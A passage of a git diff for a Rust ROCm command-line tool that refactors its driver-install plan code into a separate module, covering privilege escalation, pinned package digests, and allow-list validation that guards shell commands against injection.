diff --git a/apps/rocm/src/chat.rs b/apps/rocm/src/chat.rs index a42dd52470..c25b4c5e0b 100644 --- a/apps/rocm/src/chat.rs +++ b/apps/rocm/src/chat.rs @@ -7,7 +7,7 @@ //! `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all //! module-private except `ChatToolApprovalRequest`, reached by //! `dash_seam.rs` as `chat_tool_approval_request`'s return type, and -//! `ChatRocmCommandAction`, read by `driver_install.rs`'s test module), its +//! `ChatRocmCommandAction`, read by `driver_plan.rs`'s test module), its //! tool-call validation/approval/execution logic (`validate_chat_tool_call` //! and the `validate_chat_*_tool_call` family), deterministic tool-output //! summarization, and the MCP tool-bridge entry points diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 059326f7b0..5b72cf7728 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -11,10 +11,16 @@ //! `install()` has since moved to `install_cmd.rs`, which imports them itself. //! `InstallTarget`/`Cli` remain in the crate root; neither is referenced //! from this file. Unlike `automations.rs`/`uninstall.rs`, this cluster owns -//! private types (`DriverInstallPlan` and friends), so those moved here too +//! private types (`DriverInstallState` and friends), so those moved here too //! rather than staying in `main.rs`. `DriverInstallResult`/`DriverInstallError` //! are the exception: they're `pub(crate)` and read from `install_cmd.rs`'s //! `install()` (`result.output`/`result.executed`, `error.source`/`error.executed`). +//! +//! The plan this module runs (its model, rendering, per-distro builders and the +//! WSL rocDXG plan) lives in `driver_plan.rs`, which does not depend on this +//! module; the host's os-release comes from `system_packages.rs`. This module +//! re-exports `host_install_driver_only_reports` for `chat.rs` and +//! `freeform_planner.rs`. use std::fmt::Write as _; use std::fs; @@ -22,24 +28,16 @@ use std::path::PathBuf; use std::process::{Command as ProcessCommand, Stdio}; use anyhow::{Context, Result, bail}; -use rocm_core::placeholder::empty_as_unknown; use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; use serde::{Deserialize, Serialize}; use crate::cli_report; -use crate::runtime_install_finalize::real_os_release; - -/// Whether `rocm install driver` only reports on this OS. True on native -/// Windows, where the plan is `windows_validate_only` and runs nothing; the -/// chat and freeform planners derive their wording and flags from this too. -pub(crate) fn install_driver_only_reports_on(os: &str) -> bool { - os == "windows" -} - -/// [`install_driver_only_reports_on`] for the OS this binary runs on. -pub(crate) fn host_install_driver_only_reports() -> bool { - install_driver_only_reports_on(std::env::consts::OS) -} +pub(crate) use crate::driver_plan::host_install_driver_only_reports; +use crate::driver_plan::{ + DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, build_driver_install_plan_read, + render_driver_install_plan, +}; +use crate::system_packages::real_os_release; /// Whether `rocm install driver` goes on to run the plan's commands. Pure so /// the gate that keeps native Windows from installing anything (its plan is @@ -358,108 +356,6 @@ impl DriverInstallError { } } -#[derive(Debug, Clone)] -struct DriverInstallPlan { - supported: bool, - mutating: bool, - policy: String, - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - reason: String, - preflight_checks: Vec, - commands: Vec, - checks: Vec, - /// Whether the host must reboot before the verification steps mean anything. - /// - /// True for the kernel-module paths: an amdgpu DKMS build is not live until - /// the machine comes back up. False on WSL2, where nothing kernel-side - /// changes — ROCDXG is a userspace library and `ldconfig` publishes it - /// immediately, so telling the user to reboot would be wrong. - reboot_required: bool, -} - -impl DriverInstallPlan { - fn execution_commands(&self) -> Vec { - self.commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .map(|command| command.command.clone()) - .collect() - } -} - -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum DriverCommandPhase { - Prepare, - Execute, - Verify, -} - -#[derive(Debug, Clone)] -struct DriverPlanCommand { - phase: DriverCommandPhase, - command: String, -} - -/// How a generated driver command is expected to reach root. -/// -/// The driver plan is a list of shell lines, so escalation is a text prefix -/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose -/// commands are argv vectors and can prepend `sudo` structurally). Prefixing -/// unconditionally is what made `install driver` unusable on the hosts it is -/// most needed on: containers and minimal cloud images run as uid 0 with no -/// `sudo` binary, so every command died with `sudo: not found` before any -/// driver work happened. -/// -/// This is resolved when the plan is BUILT, not when it runs, so that the plan -/// `--dry-run` prints, the plan the approval prompt shows, and the commands -/// persisted into `state.json` are all the commands that actually execute. -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum PrivilegeEscalation { - /// Not root: privileged commands need a `sudo` prefix. - Sudo, - /// Already uid 0: `sudo` is unnecessary, and may not even be installed. - AlreadyRoot, -} - -impl PrivilegeEscalation { - /// Read the current process's privilege level. - /// - /// Only ever called on the production path; every plan builder takes the - /// escalation as a parameter so both branches are testable on any host. - fn detect() -> Self { - if rocm_core::openmpi::running_as_root() { - Self::AlreadyRoot - } else { - Self::Sudo - } - } - - /// The prefix to place before a command that must run as root — `"sudo "`, - /// or nothing at all when the process already is root. Includes the - /// trailing space so it composes directly into a command string. - const fn prefix(self) -> &'static str { - match self { - Self::Sudo => "sudo ", - Self::AlreadyRoot => "", - } - } - - /// Whether a plan built under this escalation depends on `sudo` being - /// installed. Drives the preflight list, so it does not claim a - /// precondition the plan is not relying on. - const fn needs_sudo_binary(self) -> bool { - matches!(self, Self::Sudo) - } -} - #[derive(Debug, Clone, Serialize, Deserialize)] struct DriverInstallState { approved_at_unix_ms: u128, @@ -500,4382 +396,460 @@ struct DriverPassiveCheck { detail: String, } -/// Release of ROCDXG installed on WSL2, overridable for trying another build. -/// -/// Resolved once at plan-build time via [`resolve_shell_default_template`], the -/// same way `ROCM_CLI_AMDGPU_DRIVER_VERSION` is validated for the bare-metal -/// repository pin. The concrete value is baked into the archive name, the release URL and -/// the `repo_version:` line, so the plan a user reviews names the build the -/// install will actually fetch rather than an unexpanded `${...}` placeholder. -/// -/// How the default is chosen: the newest non-prerelease `librocdxg` release -/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it -/// is two edits — add the `(version, digest)` row to that table, then change -/// the literal here — and the two must move together: a default with no row -/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless -/// the caller supplies a digest, so a bump that forgets the table breaks every -/// default WSL install rather than falling back to the previous release. -/// -/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which -/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before -/// them do not, is not installed here. It is a second prefix under -/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it -/// installs an `/etc/profile.d` entry that sources the package's own -/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and -/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment -/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` -/// nor `rocm serve` depends on, and it is not available for every version in -/// the pinned table. Installing it is a separate decision that belongs behind -/// its own opt-in, not folded into the plan whose job is to supply the runtime -/// bridge. -const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; - -/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. -/// Required when installing a version this build has no digest for. -const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; - -/// Opts out of digest verification entirely, when set to an affirmative value. -/// Named explicitly so that shipping an unverified root install is a deliberate -/// act with an audit trail in the plan, rather than what happens when a variable -/// is simply unset. -const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; - -/// SHA-256 digests of the `rocdxg-roct` package shipped with each published -/// ROCDXG release, taken from the release host's own asset metadata. -/// -/// These exist so the default install is authenticated. The package is fetched -/// over plain HTTPS from a release page and then handed to `apt-get install`, -/// which runs its maintainer scripts as root — so without a digest, TLS to the -/// download host is the only thing standing between a compromised or swapped -/// artifact and root on the user's machine. That is materially weaker than the -/// bare-metal apt path in this same file, which installs from a repository -/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. -/// -/// A version absent from this table is not installed unless the caller supplies -/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via -/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. -/// Add the new pair here when pinning a newer release. Nothing in the tree -/// checks a row against the published artifact, so a mistyped digest surfaces -/// only as a failed install on a WSL host — fail-closed, but confusing. Take -/// the value from the release's own asset metadata, or recompute it: -/// -/// ```text -/// curl -L --fail \ -/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ -/// | sha256sum -/// ``` -const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ - ( - "1.0.0", - "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", - ), - ( - "1.1.0", - "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", - ), - ( - "1.1.1", - "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", - ), - ( - "1.1.2", - "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", - ), - ( - "1.2.0", - "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", - ), - ( - "1.2.1", - "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", - ), - ( - "1.2.2", - "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", - ), -]; - -/// Whether a resolved ROCDXG version is safe to place in the plan's commands. -/// -/// The driver plan is a list of shell lines run through `sh -c`, and the -/// version is interpolated into three of them — the archive name, the release -/// URL and the local path — each of which is then executed with `sudo` already -/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches -/// this unchanged from the environment, so a value containing `;` or a -/// backtick would otherwise end the intended command and start an attacker's -/// own. Restricting it to characters that appear in a Debian package version -/// removes the possibility rather than trying to escape it. -fn rocdxg_version_is_well_formed(version: &str) -> bool { - !version.is_empty() - && version.starts_with(|c: char| c.is_ascii_alphanumeric()) - && version - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) -} - -/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the -/// form `sha256sum -c -` expects. -fn sha256_digest_is_well_formed(digest: &str) -> bool { - digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) -} - -/// Whether a string is safe to interpolate into the driver-install plan's -/// shell commands: these values (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` -/// override, and `VERSION_ID`/`VERSION_CODENAME`/`UBUNTU_CODENAME` read from -/// `/etc/os-release`) end up both inside single-quoted `printf` arguments and, -/// for `VERSION_ID` in the SUSEConnect commands, directly unquoted on the -/// command line -- so only letters, digits, and `. _ -` are accepted, the -/// same charset a real amdgpu/distro version or codename is made of. -fn is_safe_shell_token(v: &str) -> bool { - !v.is_empty() - && v.chars() - .all(|c| c.is_ascii_alphanumeric() || "._-".contains(c)) -} - -/// How the downloaded ROCDXG package will be authenticated before it is -/// installed as root. -#[derive(Debug, Clone, Eq, PartialEq)] -enum RocdxgVerification { - /// Check the download against this digest and abort the install on a - /// mismatch. - Digest(String), - /// Install without checking, because the caller explicitly asked for it. - OptedOut, +fn run_driver_shell_command(command: &str) -> Result<()> { + run_shell_command_with_stdin(command, Stdio::null()) } -/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason -/// no plan can be built. -/// -/// Resolution order — an explicit digest wins over the pinned one so a user can -/// install an artifact this build predates without having to disable -/// verification wholesale: -/// -/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. -/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. -/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value -/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts -/// out. `0` and `false` do not. +/// Run a hardcoded shell command, wiring its stdin to `stdin`. /// -/// Nothing left means refusal. Verification is therefore opt-*out*: the failure -/// mode of an unset variable is a plan that will not run, not a root install of -/// an unauthenticated package. -fn resolve_rocdxg_verification(version: &str) -> Result { - if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) - .ok() - .map(|value| value.trim().to_ascii_lowercase()) - .filter(|value| !value.is_empty()) - { - if !sha256_digest_is_well_formed(&supplied) { - return Err(format!( - "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." - )); - } - return Ok(RocdxgVerification::Digest(supplied)); - } - - if let Some(pinned) = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) - { - return Ok(RocdxgVerification::Digest(pinned.to_owned())); - } - - // An allowlist of affirmative values, not "set to anything non-empty": - // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes - // for "off" — would turn digest checking off for a package installed as - // root. Anything this does not recognise leaves verification on. - if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { - return Ok(RocdxgVerification::OptedOut); +/// Most install commands run with a null stdin, but privileged commands that may +/// trigger an interactive `sudo` password prompt (such as the OpenMPI install +/// approved with `--yes`) must inherit the terminal so the user can respond. +fn run_shell_command_with_stdin(command: &str, stdin: Stdio) -> Result<()> { + let (program, args) = shell_command_for_host(command); + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{command}`"))?; + if !status.success() { + bail!("`{command}` exited with {status}"); } - - Err(format!( - "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." - )) + Ok(()) } -/// A WSL plan that cannot be run, carrying the reason in the same shape every -/// other unsupported plan uses so `--dry-run`, the approval prompt and -/// `state.json` all report it identically. -fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: repo_version, - reason, - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - reboot_required: false, - } +pub(crate) fn driver_install_state_path(paths: &AppPaths) -> PathBuf { + paths.data_dir.join("driver").join("state.json") } -/// The `rocm install driver` plan for a WSL2 host. -/// -/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows -/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is -/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library -/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with -/// "no usable AMD GPU detected", even though a gfx target is detected — the -/// target is read from the Windows-side driver. -/// -/// This used to be a refusal pointing at a shell script under `scripts/`, which -/// ships only in a git checkout — never in the release bundle — so it was a dead -/// end for anyone who installed the CLI normally. These are that script's steps; -/// it has been removed rather than left as a second, untested copy of them. -fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { - let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); - if !rocdxg_version_is_well_formed(&version) { - return wsl_rocdxg_refusal_plan( - // The rejected value is still rendered into the plan's - // `repo_version:` line so the user can see what was refused — but - // that line is part of a plan a human reads to decide, and a raw - // value containing a newline could forge further lines in it. The - // debug form escapes newlines and makes trailing space visible, - // which is exactly what is wanted for a value being shown as - // rejected. - format!("{version:?}"), - "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), - ); - } - let verification = match resolve_rocdxg_verification(&version) { - Ok(verification) => verification, - Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), - }; - - let sudo = escalation.prefix(); - let deb = format!("rocdxg-roct_{version}_amd64.deb"); - let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); - let deb_path = format!("/tmp/{deb}"); - // `version` is validated above and the digest is hex, so neither can carry - // shell metacharacters; the quotes keep that guarantee local to the command - // rather than resting on a check several functions away. - let verify_download = match &verification { - RocdxgVerification::Digest(digest) => driver_command( - DriverCommandPhase::Execute, - &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), - ), - RocdxgVerification::OptedOut => driver_command( - DriverCommandPhase::Execute, - &format!( - "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" - ), - ), - }; - DriverInstallPlan { - supported: true, - mutating: true, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: version, - reason: - "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." - .to_owned(), - // Read, not run: the GPU plumbing belongs to the WSL platform, so if it - // is absent the fix is on the Windows side and no Linux package helps. - // The Execute phase fails on the same two paths rather than installing - // a library with nothing to bind to. - preflight_checks: { - let mut checks = vec![ - "/dev/dxg (WSL GPU device)".to_owned(), - "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), - ]; - checks.extend(driver_root_preflight_checks(escalation)); - checks - }, - commands: vec![ - driver_command( - DriverCommandPhase::Prepare, - "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", - ), - driver_command( - DriverCommandPhase::Prepare, - "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", - ), - // Say why up front rather than letting the first privileged step die - // with `sudo: command not found`, which reads like a broken plan. - // Skipped when already root: the plan emits no `sudo` at all then, - // so demanding the binary would state a precondition it is not - // relying on. - driver_command( - DriverCommandPhase::Prepare, - if escalation.needs_sudo_binary() { - "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" - } else { - "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" - }, - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), - ), - // Authenticating the download is the whole trust anchor for this - // plan: everything after it runs the package's maintainer scripts - // as root. `sha256sum -c -` exits non-zero on a mismatch, which - // aborts the plan before the install step. - verify_download, - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y '{deb_path}'"), - ), - driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), - driver_command( - DriverCommandPhase::Verify, - "test -e /opt/rocm/lib/librocdxg.so", - ), - driver_command( - DriverCommandPhase::Verify, - "ldconfig -p | grep -q 'librocdxg\\.so'", - ), - ], - // `rocm diagnose` carries the WSL catalog, including the host-side - // form that inspects a distro over `wsl.exe` without needing anything - // installed inside it. - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - // Userspace only: `ldconfig` publishes the library in this boot. - reboot_required: false, - } +fn write_driver_install_state(paths: &AppPaths, state: &DriverInstallState) -> Result<()> { + let path = driver_install_state_path(paths); + let parent = path.parent().context("driver state path has no parent")?; + fs::create_dir_all(parent)?; + fs::write(&path, serde_json::to_vec_pretty(state)?)?; + Ok(()) } -/// The plan for a release file that cannot be read as a distro at all — a -/// malformed line ([`build_driver_install_plan_at`]'s own early return) or a -/// file that exists but could not be read -/// ([`build_driver_install_plan_read`]'s `Unreadable` branch). Both name -/// `reason`, never a distro, and differ only in it: shared here, including -/// `repo_version_expr`, so a new early branch added to one is not silently -/// absent from the other. -fn unreadable_os_release_plan(reason: String, repo_version_expr: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "unreadable_os_release".to_owned(), - os_id: String::new(), - version_id: String::new(), - codename: String::new(), - repo_version_expr, - reason, - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - reboot_required: false, +fn read_driver_install_state(paths: &AppPaths) -> Result> { + let path = driver_install_state_path(paths); + if !path.is_file() { + return Ok(None); } + let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; + let state = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", path.display()))?; + Ok(Some(state)) } -const RETIRED_DRIVER_VERSION_VARS: [&str; 2] = - ["ROCM_CLI_AMDGPU_VERSION", "ROCM_CLI_AMDGPU_PACKAGE_RELEASE"]; - -/// The refusal plan `resolve_repo_version_expr` returns for any -/// `ROCM_CLI_AMDGPU_DRIVER_VERSION` value that cannot be safely interpolated -/// into a shell command -- whether it failed [`is_safe_shell_token`] or could -/// not even be decoded as UTF-8. -fn invalid_driver_version_override_plan(value_debug: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "invalid_driver_version_override".to_owned(), - os_id: String::new(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: value_debug, - reason: "ROCM_CLI_AMDGPU_DRIVER_VERSION is not a well-formed amdgpu driver release. It is interpolated into privileged shell commands, so only letters, digits, and `. _ -` are accepted.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - reboot_required: false, - } +fn current_boot_id() -> Option { + fs::read_to_string("/proc/sys/kernel/random/boot_id") + .ok() + .map(|value| value.trim().to_owned()) + .filter(|value| !value.is_empty()) } -/// Resolves and validates `ROCM_CLI_AMDGPU_DRIVER_VERSION`, shared between -/// [`build_driver_install_plan_at`] (reached whenever the os-release text -/// itself was readable) and [`build_driver_install_plan_read`]'s `Unreadable` -/// branch (reached before `_at` is even called), so both report the same -/// `invalid_driver_version_override` plan on a malformed override rather than -/// one of them silently falling back to `latest`. -fn resolve_repo_version_expr() -> Result> { - // The pre-`latest` pin variables are no longer read; refuse rather than - // install a floating `latest` for a user who still exports one. - for retired in RETIRED_DRIVER_VERSION_VARS { - if std::env::var_os(retired).is_some_and(|v| !v.is_empty()) { - let mut plan = invalid_driver_version_override_plan(format!("{retired} is set")); - plan.policy = "retired_driver_version_override".to_owned(); - plan.reason = format!( - "{retired} is no longer read; unset it, and set ROCM_CLI_AMDGPU_DRIVER_VERSION to pin an amdgpu driver release." - ); - return Err(Box::new(plan)); - } - } - // Resolved here rather than left as a shell `${VAR:-default}` expression: - // these commands are built with `printf '%s\n' '...'` (single-quoted) so the - // written repo file has a working baseurl regardless of shell. The value is - // interpolated straight into that single-quoted command, so it's restricted - // to a safe URL path segment here rather than trusted verbatim: a value - // containing `'` would otherwise close the quoting and inject shell. An - // invalid override is refused rather than silently falling back to - // `latest`, the same way `wsl_rocdxg_driver_plan` refuses a malformed - // `ROCM_CLI_ROCDXG_VERSION` -- a user who set this expecting a specific - // release should see why it did not take effect, not an unexplained - // `latest`. - match std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION") { - // Set-but-empty is treated the same as unset, matching every other - // optional override in this file (`resolve_rocdxg_verification`, - // `resolve_shell_default_template`): a blank env var is how an env - // file clears an override, not a request to refuse the plan. - Err(std::env::VarError::NotPresent) => Ok("latest".to_owned()), - Ok(v) if v.is_empty() => Ok("latest".to_owned()), - Ok(v) if is_safe_shell_token(&v) => Ok(v), - Ok(v) => Err(Box::new(invalid_driver_version_override_plan(format!( - "{v:?}" - )))), - // A non-UTF-8 value can never pass `is_safe_shell_token` anyway, but - // routing it through the same refusal as a malformed value (instead - // of folding it into the NotPresent/empty "unset" case) keeps the - // same "refuse, don't silently fall back to latest" guarantee for a - // user who set this to something `env::var` cannot even decode. - Err(std::env::VarError::NotUnicode(v)) => { - // Debug, not `v.display()`, is deliberate here: this is the one - // value worth escaping rather than rendering lossily, since the - // whole reason it reached this arm is that it isn't valid UTF-8. - #[allow(clippy::unnecessary_debug_formatting)] - let value_debug = format!("{v:?}"); - Err(Box::new(invalid_driver_version_override_plan(value_debug))) - } - } +fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { + let Some(executed_boot_id) = executed_boot_id else { + return false; + }; + current_boot_id() + .as_deref() + .is_some_and(|current| current != executed_boot_id) } -/// [`build_driver_install_plan_read`], naming `os_release_path` instead of always -/// `/etc/os-release` in an unreadable-line message. -fn build_driver_install_plan_at( - examine: &ExamineSummary, - os_release_path: &str, - os_release_text: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - if install_driver_only_reports_on(&examine.os) { - return DriverInstallPlan { - supported: false, - mutating: false, - policy: "windows_validate_only".to_owned(), - os_id: "windows".to_owned(), - version_id: String::new(), - codename: String::new(), - // Not interpolated into any command on this no-op plan (there are - // none), so an override is not validated before this early return. - // Always "latest" even if `ROCM_CLI_AMDGPU_DRIVER_VERSION` names - // something else or is malformed: unlike the Linux arms below, - // this value has not gone through `resolve_repo_version_expr()`, - // so do not read the printed `repo_version:` line here (or in - // `--dry-run` output) as confirmation that an override was seen or - // accepted. - repo_version_expr: "latest".to_owned(), - // Uses the same inventory and adapter choice as `rocm examine` - // and `rocm diagnose`. Separate probes can still fail independently. - reason: rocm_core::windows_driver::install_driver_summary( - examine.driver.windows.as_ref(), - ), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - // The plan installs nothing, so nothing asks for a reboot. - reboot_required: false, - }; - } - if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { - return wsl_rocdxg_driver_plan(escalation); - } - - let repo_version_expr = match resolve_repo_version_expr() { - Ok(v) => v, - Err(plan) => return *plan, +#[cfg(test)] +mod tests { + use super::*; + use crate::driver_plan::tests::{os_release_found, test_examine}; + use crate::driver_plan::{ + driver_command, invalid_driver_version_override_plan, wsl_rocdxg_driver_plan, }; + use crate::tests::{ScopedTestEnv, test_paths}; - // An unreadable file is reported as itself, naming the line, rather than - // falling through to "this distro is not supported" — which would send the - // user looking for a support matrix when the fix is one line of a file. - let os_release = match rocm_core::os_release::parse(os_release_text) { - Ok(fields) => fields, - Err(unreadable) => { - return unreadable_os_release_plan( - format!( - "{os_release_path} {unreadable}; no driver commands were planned \ - because the distro cannot be read. To fix it, {}.", - unreadable.fix() - ), - repo_version_expr, - ); - } - }; + #[test] + fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let mut observed = Vec::new(); - let field = |key: &str| os_release.get(key).cloned(); - // Not interpolated into any shell command today (only matched against and - // stored on the plan), but it goes through the same allow-list as - // `version_id`/`codename`/the env override anyway: centralizing the - // sanitization here means a future `os_id`-based repo path can't - // reintroduce the shell-injection class those fields close. An invalid - // value is treated as absent, falling through to the "unsupported" plan - // the same way the other fields do. - // Lowercased, as `rocm-core`'s `dkms_driver_plan_is_supported` does, so the - // two copies of the support matrix agree on `ID=Ubuntu`. - let os_id = field("ID") - .filter(|v| is_safe_shell_token(v)) - .unwrap_or_default() - .to_ascii_lowercase(); - // `version_id` is interpolated unsanitized both into the same - // single-quoted `printf '...' | tee` commands as `repo_version_expr` - // above and, on SLES, directly unquoted on the SUSEConnect command line -- - // so it gets the same char allow-list as that override. A value that - // fails it is treated as absent (empty), which cannot match any - // `(os_id, version_id)` arm below and falls through to the safe, - // non-mutating "unsupported" plan, the same way a hostile codename falls - // through to the static mapping rather than being used verbatim. - let version_id = field("VERSION_ID") - .filter(|v| is_safe_shell_token(v)) - .unwrap_or_default(); - // `codename` is interpolated unsanitized into the same single-quoted - // `printf '...' | tee` command as `repo_version_expr` above, so an - // os-release-sourced value gets the same char allow-list: a crafted - // VERSION_CODENAME/UBUNTU_CODENAME (compromised or custom base image) - // could otherwise break out of the quoting and inject shell. An invalid - // value is treated as absent, falling through to the trusted static - // `codename_for_version` mapping rather than being used verbatim. - let codename = field("VERSION_CODENAME") - .or_else(|| field("UBUNTU_CODENAME")) - .filter(|v| is_safe_shell_token(v)) - .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) - .unwrap_or_default(); - let id_like = field("ID_LIKE").unwrap_or_default(); + execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + Ok(()) + }, + |_| Ok(()), + || Ok(test_examine("linux", true).driver), + )?; - match (os_id.as_str(), version_id.as_str()) { - ("ubuntu", "22.04" | "24.04" | "26.04") => apt_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - true, - escalation, - ), - ("debian", "12" | "13") => { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - let mut plan = apt_driver_plan( - os_id, - version_id, - repo_codename.to_owned(), - repo_version_expr, - dkms, - false, - escalation, - ); - // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's - // documented Debian install maps Debian 12 -> jammy and 13 -> noble - // and serves them from the .../ubuntu amdgpu tree. Surface that in - // the plan so the Ubuntu codename on a Debian host doesn't read as a - // misdetection. - plan.reason = format!( - "Debian intentionally uses AMD's Ubuntu-suite 